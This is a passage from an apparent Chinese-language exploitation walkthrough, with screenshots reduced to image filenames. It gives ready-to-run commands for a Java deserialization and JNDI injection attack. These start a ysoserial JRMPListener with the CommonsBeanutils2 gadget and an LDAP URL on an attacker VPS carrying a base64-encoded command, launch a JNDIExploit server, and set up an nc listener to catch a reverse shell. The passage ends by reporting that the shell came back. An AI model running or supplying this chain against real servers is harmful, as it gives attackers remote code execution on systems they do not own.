 rfc3iisi3kk13287.png

 

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

 

5、nc监听

yxbp4nctqjh13289.png

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 uvdg0t0uizm13291.png


7、执行成功,反弹shell

 bhzwsbvnada13293.png

 

 ucevzoxrqr313295.png

 gxekd55faok13297.png